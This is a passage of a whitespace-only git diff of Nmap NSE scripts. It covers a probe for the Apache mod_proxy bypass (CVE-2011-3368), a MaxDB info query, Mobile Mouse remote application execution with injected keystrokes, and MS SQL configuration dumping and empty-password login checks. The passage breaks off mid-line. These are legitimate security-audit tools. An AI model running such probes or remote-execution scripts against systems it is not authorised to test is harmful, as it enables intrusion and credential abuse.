0 then + local host, port = getHostPort(parsed) + local reflected_values,not_reflected_values,all_values = getReflected(parsed, r) - -- Now,were any reflected ? - if reflected_values then - -- Ok, create new links with payloads in the reflected slots - local new_links = createMinedLinks(reflected_values, all_values) + -- Now,were any reflected ? + if reflected_values then + -- Ok, create new links with payloads in the reflected slots + local new_links = createMinedLinks(reflected_values, all_values) - -- Now, if we had 2 reflected values, we should have 2 new links to fetch - visitLinks(host, port,parsed, new_links, results,tostring(r.url)) - end - end - end - if ( #results> 0 ) then - return stdnse.format_output(true, results) - end + -- Now, if we had 2 reflected values, we should have 2 new links to fetch + visitLinks(host, port,parsed, new_links, results,tostring(r.url)) + end + end + end + if ( #results> 0 ) then + return stdnse.format_output(true, results) + end end diff --git a/scripts/http-vhosts.nse b/scripts/http-vhosts.nse index c98fd8ef5..925cb32f9 100644 --- a/scripts/http-vhosts.nse +++ b/scripts/http-vhosts.nse @@ -120,7 +120,7 @@ local testThread = function(result, host, port, name) local condvar = nmap.condvar(result) local targetname = makeTargetName(name , arg_domain) if targetname ~= nil then - local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}}) + local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}}) if not http_response.status then result["ERROR"] = result["ERROR"] or {} diff --git a/scripts/http-vuln-cve2011-3368.nse b/scripts/http-vuln-cve2011-3368.nse index 27aa6e7ec..568aa5967 100644 --- a/scripts/http-vuln-cve2011-3368.nse +++ b/scripts/http-vuln-cve2011-3368.nse @@ -54,108 +54,108 @@ portrule = shortport.http action = function(host, port) - local vuln = { - title = 'Apache mod_proxy Reverse Proxy Security Bypass', - IDS = { CVE='CVE-2011-3368', OSVDB='76079'}, - description = [[ + local vuln = { + title = 'Apache mod_proxy Reverse Proxy Security Bypass', + IDS = { CVE='CVE-2011-3368', OSVDB='76079'}, + description = [[ An exposure was reported affecting the use of Apache HTTP Server in reverse proxy mode. The exposure could inadvertently expose internal servers to remote users who send carefully crafted requests.]], - references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' }, - dates = { - disclosure = { year='2011', month='10', day='05'} - }, - } + references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' }, + dates = { + disclosure = { year='2011', month='10', day='05'} + }, + } - local report = vulns.Report:new(SCRIPT_NAME, host, port) - local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or "" + local report = vulns.Report:new(SCRIPT_NAME, host, port) + local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or "" - -- Take a reference chrono for a 404 - local start = os.time(os.date('*t')) - local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512))) - local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page)) - local chrono_404 = os.time(os.date('*t'))-start + -- Take a reference chrono for a 404 + local start = os.time(os.date('*t')) + local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512))) + local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page)) + local chrono_404 = os.time(os.date('*t'))-start - -- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules - local all - all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all) - all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all) - all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all) + -- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules + local all + all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all) + all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all) + all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all) - local bypass_request = http.pipeline_go(host,port, all) - if ( not(bypass_request) ) then - stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME) - return "\n ERROR: Got no answers from pipelined queries" - end + local bypass_request = http.pipeline_go(host,port, all) + if ( not(bypass_request) ) then + stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME) + return "\n ERROR: Got no answers from pipelined queries" + end - -- going through the results of TEST 1 we could see - -- * 200 OK - -- o This could be the result of the server being vulnerable - -- o This could also be the result of a generic error page - -- * 40X Error - -- o This is most likely the result of the server NOT being vulnerable - -- - -- We can not determine whether the server is vulnerable or not solely - -- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue - local got_200_ok - for _, response in ipairs(bypass_request) do - if ( response.status == 200 ) then - got_200_ok = true - end - end + -- going through the results of TEST 1 we could see + -- * 200 OK + -- o This could be the result of the server being vulnerable + -- o This could also be the result of a generic error page + -- * 40X Error + -- o This is most likely the result of the server NOT being vulnerable + -- + -- We can not determine whether the server is vulnerable or not solely + -- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue + local got_200_ok + for _, response in ipairs(bypass_request) do + if ( response.status == 200 ) then + got_200_ok = true + end + end - -- if we didn't get at least one 200 OK, the server is most like NOT vulnerable - if ( not(got_200_ok) ) then - vuln.state = vulns.STATE.NOT_VULN - return report:make_output(vuln) - end + -- if we didn't get at least one 200 OK, the server is most like NOT vulnerable + if ( not(got_200_ok) ) then + vuln.state = vulns.STATE.NOT_VULN + return report:make_output(vuln) + end - for i=1, #bypass_request, 1 do - stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status) + for i=1, #bypass_request, 1 do + stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status) - -- here a 400 should be the evidence for a patched server. - if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then + -- here a 400 should be the evidence for a patched server. + if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then - -- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error. - -- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses - local tests = { - { prefix = "", suffix = "" }, - { prefix = ":", suffix = ""}, - { prefix = ":", suffix = ":80"} - } + -- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error. + -- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses + local tests = { + { prefix = "", suffix = "" }, + { prefix = ":", suffix = ""}, + { prefix = ":", suffix = ":80"} + } - -- try a bunch of hosts, and hope we hit one thats - -- not on the network, this will give us the delay we're expecting - local hosts = { - "10.10.10.10", - "192.168.211.211", - "172.16.16.16" - } + -- try a bunch of hosts, and hope we hit one thats + -- not on the network, this will give us the delay we're expecting + local hosts = { + "10.10.10.10", + "192.168.211.211", + "172.16.16.16" + } - -- perform one request for each host, and stop once we - -- receive a timeout for one of them - for _, h in ipairs(hosts) do - local response = http.get( - host, - port, - ("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix), - { timeout = ( chrono_404 + 5 ) * 1000 } - ) - -- check if the GET timed out - if ( not(response.status) ) then - vuln.state = vulns.STATE.VULN - break - end - end - end - end + -- perform one request for each host, and stop once we + -- receive a timeout for one of them + for _, h in ipairs(hosts) do + local response = http.get( + host, + port, + ("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix), + { timeout = ( chrono_404 + 5 ) * 1000 } + ) + -- check if the GET timed out + if ( not(response.status) ) then + vuln.state = vulns.STATE.VULN + break + end + end + end + end - -- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway. - local external = http.get(host,port, ("@scanme.nmap.org"):format(prefix)) - if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then - vuln.extra_info = "Proxy allows requests to external websites" - end - return report:make_output(vuln) + -- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway. + local external = http.get(host,port, ("@scanme.nmap.org"):format(prefix)) + if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then + vuln.extra_info = "Proxy allows requests to external websites" + end + return report:make_output(vuln) end diff --git a/scripts/maxdb-info.nse b/scripts/maxdb-info.nse index 7d80ce51f..391051034 100644 --- a/scripts/maxdb-info.nse +++ b/scripts/maxdb-info.nse @@ -43,31 +43,31 @@ portrule = shortport.port_or_service(7210, "maxdb", "tcp") -- @return status true on success, false on failure -- @return data string containing the raw response from the server local function exchPacket(socket, packet) - local status, err = socket:send(packet) - if ( not(status) ) then - stdnse.print_debug(2, "Failed to send packet to server") - return false, "Failed to send packet to server" - end + local status, err = socket:send(packet) + if ( not(status) ) then + stdnse.print_debug(2, "Failed to send packet to server") + return false, "Failed to send packet to server" + end - local data - status, data= socket:receive() - if ( not(status) ) then - stdnse.print_debug(2, "Failed to read packet from server") - return false, "Failed to read packet from server" - end - local pos, len = bin.unpack("SYSNAME, MASKING, -- REPLYTREATMENT and SDBDBM_IPCLOCATION local function parseVersion(data) - local version_info = {} - if ( #data > 27 ) then - for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do - local key, val = line:match("^(%S+)%s-=%s(.*)%s*$") - if ( key ) then version_info[key] = val end - end - end - return version_info + local version_info = {} + if ( #data > 27 ) then + for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do + local key, val = line:match("^(%S+)%s-=%s(.*)%s*$") + if ( key ) then version_info[key] = val end + end + end + return version_info end -- Parses and decodes the raw database response from the server -- @param data string containing the raw response -- @return result string containing a table of database instance information local function parseDatabases(data) - local result = tab.new(5) - tab.addrow(result, "instance", "path", "version", "kernel", "state") - for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do - local cols = {} - cols.instance, cols.path, cols.ver, cols.kernel, - cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$") - if ( cols.instance ) then - tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state) - end - end - return tab.dump(result) + local result = tab.new(5) + tab.addrow(result, "instance", "path", "version", "kernel", "state") + for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do + local cols = {} + cols.instance, cols.path, cols.ver, cols.kernel, + cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$") + if ( cols.instance ) then + tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state) + end + end + return tab.dump(result) end action = function(host, port) - -- this could really be more elegant, but it has to do for now - local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600" - local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020" - local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20" + -- this could really be more elegant, but it has to do for now + local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600" + local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020" + local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20" - local socket = nmap.new_socket() - socket:set_timeout(10000) - local status, err = socket:connect(host, port) - local data + local socket = nmap.new_socket() + socket:set_timeout(10000) + local status, err = socket:connect(host, port) + local data - status, data = exchPacket(socket, bin.pack("H", handshake)) - if ( not(status) ) then - return "\n ERROR: Failed to perform handshake with MaxDB server" - end + status, data = exchPacket(socket, bin.pack("H", handshake)) + if ( not(status) ) then + return "\n ERROR: Failed to perform handshake with MaxDB server" + end - status, data = exchPacket(socket, bin.pack("H", dbm_version)) - if ( not(status) ) then - return "\n ERROR: Failed to request version information from server" - end + status, data = exchPacket(socket, bin.pack("H", dbm_version)) + if ( not(status) ) then + return "\n ERROR: Failed to request version information from server" + end - local version_info = parseVersion(data) - if ( not(version_info) ) then - return "\n ERROR: Failed to parse version information from server" - end + local version_info = parseVersion(data) + if ( not(version_info) ) then + return "\n ERROR: Failed to parse version information from server" + end - local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"} - for _, f in ipairs(filter) do - table.insert(result, ("%s: %s"):format(f, version_info[f:upper()])) - end + local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"} + for _, f in ipairs(filter) do + table.insert(result, ("%s: %s"):format(f, version_info[f:upper()])) + end - status, data = exchCommand(socket, bin.pack("H", db_enum)) - socket:close() - if ( not(status) ) then - return "\n ERROR: Failed to request version information from server" - end - local dbs = parseDatabases(data) - table.insert(result, { name = "Databases", dbs } ) + status, data = exchCommand(socket, bin.pack("H", db_enum)) + socket:close() + if ( not(status) ) then + return "\n ERROR: Failed to request version information from server" + end + local dbs = parseDatabases(data) + table.insert(result, { name = "Databases", dbs } ) - -- set the version information - port.version.name = "maxdb" - port.version.product = "SAP MaxDB" - port.version.version = version_info.VERSION - port.version.ostype = version_info.SYSNAME - nmap.set_port_version(host, port) + -- set the version information + port.version.name = "maxdb" + port.version.product = "SAP MaxDB" + port.version.version = version_info.VERSION + port.version.ostype = version_info.SYSNAME + nmap.set_port_version(host, port) - return stdnse.format_output(true, result) + return stdnse.format_output(true, result) end diff --git a/scripts/mmouse-exec.nse b/scripts/mmouse-exec.nse index 412592b6d..ac74b7c26 100644 --- a/scripts/mmouse-exec.nse +++ b/scripts/mmouse-exec.nse @@ -50,130 +50,130 @@ local arg_delay = stdnse.get_script_args(SCRIPT_NAME .. '.delay') or 3 portrule = shortport.port_or_service(51010, "mmouse", "tcp") local function receiveData(socket, cmd) - local status, data = "" - repeat - status, data = socket:receive_buf("\04", true) - if ( not(status) ) then - return false, "Failed to receive data from server" - end - until( cmd == nil or data:match("^" .. cmd) ) - return true, data + local status, data = "" + repeat + status, data = socket:receive_buf("\04", true) + if ( not(status) ) then + return false, "Failed to receive data from server" + end + until( cmd == nil or data:match("^" .. cmd) ) + return true, data end local function authenticate(socket, password) - local devid = "0123456789abcdef0123456789abcdef0123456" - local devname = "Lord Vaders iPad" - local suffix = "2".."\30".."2".."\04" - local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix) + local devid = "0123456789abcdef0123456789abcdef0123456" + local devname = "Lord Vaders iPad" + local suffix = "2".."\30".."2".."\04" + local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix) - local status = socket:send(auth) - if ( not(status) ) then - return false, "Failed to send data to server" - end + local status = socket:send(auth) + if ( not(status) ) then + return false, "Failed to send data to server" + end - local status, data = receiveData(socket) - if ( not(status) ) then - return false, "Failed to receive data from server" - end + local status, data = receiveData(socket) + if ( not(status) ) then + return false, "Failed to receive data from server" + end - local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)") + local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)") - if ( success == "YES" ) then - if ( os ~= 'MAC' ) then - return false, "Non MAC platform detected, script has only been tested on MAC" - end - if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then - return false, "Failed to send request to server" - end - if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then - return false, "Failed to send request to server" - end - return true - end - return false, "Authentication failed" + if ( success == "YES" ) then + if ( os ~= 'MAC' ) then + return false, "Non MAC platform detected, script has only been tested on MAC" + end + if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then + return false, "Failed to send request to server" + end + if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then + return false, "Failed to send request to server" + end + return true + end + return false, "Authentication failed" end local function processSwitchMode(socket, swmode) - local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$") - if ( m ~= "SWITCHMODE") then - stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o) - return false, "Failed to parse SWITCHMODE" - end + local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$") + if ( m ~= "SWITCHMODE") then + stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o) + return false, "Failed to parse SWITCHMODE" + end - local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2) - local status = socket:send(str) - if ( not(status) ) then - return false, "Failed to send data to server" - end - return true + local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2) + local status = socket:send(str) + if ( not(status) ) then + return false, "Failed to send data to server" + end + return true end local function executeCmd(socket, app, keys) - local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app) - local status = socket:send(exec) - if ( not(status) ) then - return false, "Failed to send data to server" - end + local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app) + local status = socket:send(exec) + if ( not(status) ) then + return false, "Failed to send data to server" + end - local status, data = receiveData(socket) - if ( not(status) ) then - return false, "Failed to receive data from server" - end + local status, data = receiveData(socket) + if ( not(status) ) then + return false, "Failed to receive data from server" + end - if ( arg_delay ) then - stdnse.sleep(tonumber(arg_delay)) - end + if ( arg_delay ) then + stdnse.sleep(tonumber(arg_delay)) + end - if ( keys ) then - local cmd = ("KEYSTRING\30%s\n\04"):format(keys) - if ( not(socket:send(cmd)) ) then - return false, "Failed to send data to the server" - end - end - return true + if ( keys ) then + local cmd = ("KEYSTRING\30%s\n\04"):format(keys) + if ( not(socket:send(cmd)) ) then + return false, "Failed to send data to the server" + end + end + return true end local function fail(err) return ("\n ERROR: %s"):format(err or "") end action = function(host, port) - local c = creds.Credentials:new(creds.ALL_DATA, host, port) - local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)() - local password = arg_password or (credentials and credentials.pass) or "" + local c = creds.Credentials:new(creds.ALL_DATA, host, port) + local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)() + local password = arg_password or (credentials and credentials.pass) or "" - if ( not(arg_app) ) then - return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME)) - end + if ( not(arg_app) ) then + return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME)) + end - if ( not(arg_keys) ) then - return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME)) - end + if ( not(arg_keys) ) then + return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME)) + end - local socket = nmap.new_socket() - socket:set_timeout(10000) - local status, err = socket:connect(host, port) - if ( not(status) ) then - return fail("Failed to connect to server") - end + local socket = nmap.new_socket() + socket:set_timeout(10000) + local status, err = socket:connect(host, port) + if ( not(status) ) then + return fail("Failed to connect to server") + end - status, err = authenticate(socket, password) - if ( not(status) ) then - return fail(err) - end + status, err = authenticate(socket, password) + if ( not(status) ) then + return fail(err) + end - local data - status, data = receiveData(socket, "SWITCHMODE") - if ( not(status) ) then - return fail("Failed to receive expected response from server") - end + local data + status, data = receiveData(socket, "SWITCHMODE") + if ( not(status) ) then + return fail("Failed to receive expected response from server") + end - if ( not(processSwitchMode(socket, data)) ) then - return fail("Failed to process SWITCHMODE command") - end + if ( not(processSwitchMode(socket, data)) ) then + return fail("Failed to process SWITCHMODE command") + end - if ( not(executeCmd(socket, arg_app, arg_keys)) ) then - return fail("Failed to execute application") - end + if ( not(executeCmd(socket, arg_app, arg_keys)) ) then + return fail("Failed to execute application") + end - return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys) + return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys) end diff --git a/scripts/ms-sql-config.nse b/scripts/ms-sql-config.nse index 3d0536833..e5a9b79dd 100644 --- a/scripts/ms-sql-config.nse +++ b/scripts/ms-sql-config.nse @@ -63,7 +63,7 @@ be disabled using the mssql.scanned-ports-only script argument. -- Created 04/02/2010 - v0.1 - created by Patrik Karlsson -- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host; --- added compatibility with changes in mssql.lua (Chris Woodbury) +-- added compatibility with changes in mssql.lua (Chris Woodbury) author = "Patrik Karlsson" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -80,78 +80,78 @@ portrule = mssql.Helper.GetPortrule_Standard() --- Processes a set of instances local function process_instance( instance ) - local status, errorMessage - local result, result_part = {}, {} - local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and "" - or " WHERE configuration_id > 16384" - local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and "" - or " WHERE name NOT IN ('master','model','tempdb','msdb')" - local helper = mssql.Helper:new() + local status, errorMessage + local result, result_part = {}, {} + local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and "" + or " WHERE configuration_id > 16384" + local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and "" + or " WHERE name NOT IN ('master','model','tempdb','msdb')" + local helper = mssql.Helper:new() - local queries = { - [2]={ ["Configuration"] = [[ SELECT name, - cast(value as varchar) value, - cast(value_in_use as varchar) inuse, - description - FROM sys.configurations ]] .. conf_filter }, - [3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername - FROM master..sysservers - WHERE srvid > 0 ]] }, - [1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255), - dbid int, created datetime, status varchar(512), compatibility_level int ) - INSERT INTO #nmap_dbs EXEC sp_helpdb - SELECT name, db_size, owner - FROM #nmap_dbs ]] .. db_filter .. [[ - DROP TABLE #nmap_dbs ]] } - } + local queries = { + [2]={ ["Configuration"] = [[ SELECT name, + cast(value as varchar) value, + cast(value_in_use as varchar) inuse, + description + FROM sys.configurations ]] .. conf_filter }, + [3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername + FROM master..sysservers + WHERE srvid > 0 ]] }, + [1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255), + dbid int, created datetime, status varchar(512), compatibility_level int ) + INSERT INTO #nmap_dbs EXEC sp_helpdb + SELECT name, db_size, owner + FROM #nmap_dbs ]] .. db_filter .. [[ + DROP TABLE #nmap_dbs ]] } + } - status, errorMessage = helper:ConnectEx( instance ) - if ( not(status) ) then result = "ERROR: " .. errorMessage end + status, errorMessage = helper:ConnectEx( instance ) + if ( not(status) ) then result = "ERROR: " .. errorMessage end - if status then - status, errorMessage = helper:LoginEx( instance ) - if ( not(status) ) then result = "ERROR: " .. errorMessage end - end + if status then + status, errorMessage = helper:LoginEx( instance ) + if ( not(status) ) then result = "ERROR: " .. errorMessage end + end - for _, v in ipairs( queries ) do - if ( not status ) then break end - for header, query in pairs(v) do - status, result_part = helper:Query( query ) + for _, v in ipairs( queries ) do + if ( not status ) then break end + for header, query in pairs(v) do + status, result_part = helper:Query( query ) - if ( not(status) ) then - result = "ERROR: " .. result_part - break - end - result_part = mssql.Util.FormatOutputTable( result_part, true ) - result_part.name = header - table.insert( result, result_part ) - end - end + if ( not(status) ) then + result = "ERROR: " .. result_part + break + end + result_part = mssql.Util.FormatOutputTable( result_part, true ) + result_part.name = header + table.insert( result, result_part ) + end + end - helper:Disconnect() + helper:Disconnect() - local instanceOutput = {} - instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) - table.insert( instanceOutput, result ) + local instanceOutput = {} + instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) + table.insert( instanceOutput, result ) - return instanceOutput + return instanceOutput end action = function( host, port ) - local scriptOutput = {} - local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) + local scriptOutput = {} + local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - if ( not status ) then - return stdnse.format_output( false, instanceList ) - else - for _, instance in pairs( instanceList ) do - local instanceOutput = process_instance( instance ) - if instanceOutput then - table.insert( scriptOutput, instanceOutput ) - end - end - end + if ( not status ) then + return stdnse.format_output( false, instanceList ) + else + for _, instance in pairs( instanceList ) do + local instanceOutput = process_instance( instance ) + if instanceOutput then + table.insert( scriptOutput, instanceOutput ) + end + end + end - return stdnse.format_output( true, scriptOutput ) + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/ms-sql-empty-password.nse b/scripts/ms-sql-empty-password.nse index 9c3a891d1..4c3417a0b 100644 --- a/scripts/ms-sql-empty-password.nse +++ b/scripts/ms-sql-empty-password.nse @@ -49,9 +49,9 @@ be disabled using the mssql.scanned-ports-only script argument. -- Created 01/17/2010 - v0.1 - created by Patrik Karlsson -- Revised 02/01/2011 - v0.2 (Chris Woodbury) --- - Added ability to run against all instances on a host; --- - Added storage of credentials on a per-instance basis --- - Added compatibility with changes in mssql.lua +-- - Added ability to run against all instances on a host; +-- - Added storage of credentials on a per-instance basis +-- - Added compatibility with changes in mssql.lua author = "Patrik Karlsson" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -62,121 +62,121 @@ hostrule = mssql.Helper.GetHostrule_Standard() portrule = mssql.Helper.GetPortrule_Standard() local function test_credentials( instance, helper, username, password ) - local database = "tempdb" + local database = "tempdb" - local status, result = helper:ConnectEx( instance ) - local loginErrorCode - if( status ) then - stdnse.print_debug( 2, "%s: Attempting login to %s", SCRIPT_NAME, instance:GetName() ) - status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip ) - end - helper:Disconnect() + local status, result = helper:ConnectEx( instance ) + local loginErrorCode + if( status ) then + stdnse.print_debug( 2, "%s: Attempting login to %s", SCRIPT_NAME, instance:GetName() ) + status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip ) + end + helper:Disconnect() - local passwordIsGood, canLogin - if status then - passwordIsGood = true - canLogin = true - elseif ( loginErrorCode ) then - if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end - if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end - if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then - stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() ) - table.insert( instance.ms_sql_empty, string.format("'sa' account is locked out.", result ) ) - end - if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then - stdnse.print_debug( 2, "%s: Attemping login to %s: Unknown login error number: %s", - SCRIPT_NAME, instance:GetName(), loginErrorCode ) - table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) ) - end - else - table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) ) - end + local passwordIsGood, canLogin + if status then + passwordIsGood = true + canLogin = true + elseif ( loginErrorCode ) then + if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end + if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end + if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then + stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() ) + table.insert( instance.ms_sql_empty, string.format("'sa' account is locked out.", result ) ) + end + if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then + stdnse.print_debug( 2, "%s: Attemping login to %s: Unknown login error number: %s", + SCRIPT_NAME, instance:GetName(), loginErrorCode ) + table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) ) + end + else + table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) ) + end - if ( passwordIsGood ) then - local loginResultMessage = "Login Success" - if loginErrorCode then - loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error" - end - table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "", loginResultMessage ) ) + if ( passwordIsGood ) then + local loginResultMessage = "Login Success" + if loginErrorCode then + loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error" + end + table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "", loginResultMessage ) ) - -- Add credentials for other ms-sql scripts to use but don't - -- add accounts that need to change passwords - if ( canLogin ) then - instance.credentials[ username ] = password - -- Legacy storage method (does not distinguish between instances) - nmap.registry.mssqlusers = nmap.registry.mssqlusers or {} - nmap.registry.mssqlusers[username]=password - end - end + -- Add credentials for other ms-sql scripts to use but don't + -- add accounts that need to change passwords + if ( canLogin ) then + instance.credentials[ username ] = password + -- Legacy storage method (does not distinguish between instances) + nmap.registry.mssqlusers = nmap.registry.mssqlusers or {} + nmap.registry.mssqlusers[username]=password + end + end end --- Processes a single instance, attempting to detect an empty password for "sa" local function process_instance( instance ) - -- One of this script's features is that it will report an instance's - -- in both the port-script results and the host-script results. In order to - -- avoid redundant login attempts on an instance, we will just make the - -- attempt once and then re-use the results. We'll use a mutex to make sure - -- that multiple script instances (e.g. a host-script and a port-script) - -- working on the same SQL Server instance can only enter this block one at - -- a time. - local mutex = nmap.mutex( instance ) - mutex( "lock" ) + -- One of this script's features is that it will report an instance's + -- in both the port-script results and the host-script results. In order to + -- avoid redundant login attempts on an instance, we will just make the + -- attempt once and then re-use the results. We'll use a mutex to make sure + -- that multiple script instances (e.g. a host-script and a port-script) + -- working on the same SQL Server instance can only enter this block one at + -- a time. + local mutex = nmap.mutex( instance ) + mutex( "lock" ) - local status, result + local status, result - -- If this instance has already been tested (e.g. if we got to it by both the - -- hostrule and the portrule), don't test it again. This will reduce the risk - -- of locking out accounts. - if ( instance.tested_empty ~= true ) then - instance.tested_empty = true + -- If this instance has already been tested (e.g. if we got to it by both the + -- hostrule and the portrule), don't test it again. This will reduce the risk + -- of locking out accounts. + if ( instance.tested_empty ~= true ) then + instance.tested_empty = true - instance.credentials = instance.credentials or {} - instance.ms_sql_empty = instance.ms_sql_empty or {} + instance.credentials = instance.credentials or {} + instance.ms_sql_empty = instance.ms_sql_empty or {} - if not instance:HasNetworkProtocols() then - stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() ) - table.insert( instance.ms_sql_empty, "No network protocols enabled." ) - end + if not instance:HasNetworkProtocols() then + stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() ) + table.insert( instance.ms_sql_empty, "No network protocols enabled." ) + end - local helper = 